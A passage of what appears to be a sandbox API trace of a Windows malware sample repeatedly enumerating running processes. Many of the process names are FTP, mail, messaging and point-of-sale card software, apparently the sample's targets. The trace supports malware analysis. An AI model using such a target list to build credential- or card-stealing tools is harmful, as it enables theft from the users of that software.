th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0096.137] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0096.139] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0096.143] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0096.145] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0096.147] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0096.149] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0096.151] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0096.153] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0096.155] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0096.156] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0096.158] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0096.160] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0096.162] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0096.164] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0096.167] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0096.170] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0096.173] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0096.175] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0096.177] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0096.180] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0096.182] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0096.184] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0096.187] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0096.189] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0096.191] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0096.193] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0096.195] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0096.199] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0096.202] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0096.204] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0096.206] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0096.208] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0096.210] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0096.212] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0096.215] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0096.218] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0096.220] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0096.222] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0096.224] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0096.226] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0096.228] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0096.229] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0096.231] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0096.233] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0096.235] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0096.237] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0096.239] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0096.269] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0096.271] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0096.273] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0096.275] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0096.277] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0096.279] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0096.281] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0096.283] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0096.285] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0096.287] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0096.288] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.290] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0096.292] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0096.294] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0096.296] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1 [0096.298] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0096.299] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x528, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0096.301] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="31646747fe74d32212a7cbcb97c7d78d.virus.exe")) returned 1 [0096.303] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="31646747fe74d32212a7cbcb97c7d78d.virus.exe")) returned 0 [0096.306] CloseHandle (hObject=0xde4) returned 1 [0096.306] Sleep (dwMilliseconds=0x64) [0096.621] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xde4 [0096.635] Process32First (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0096.637] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0096.639] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0096.641] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.643] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0096.645] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.647] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0096.649] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0096.651] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0096.653] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.655] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.657] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0096.658] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.660] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.661] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.664] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.666] Process32Next (in: hSnapshot=0xde4, 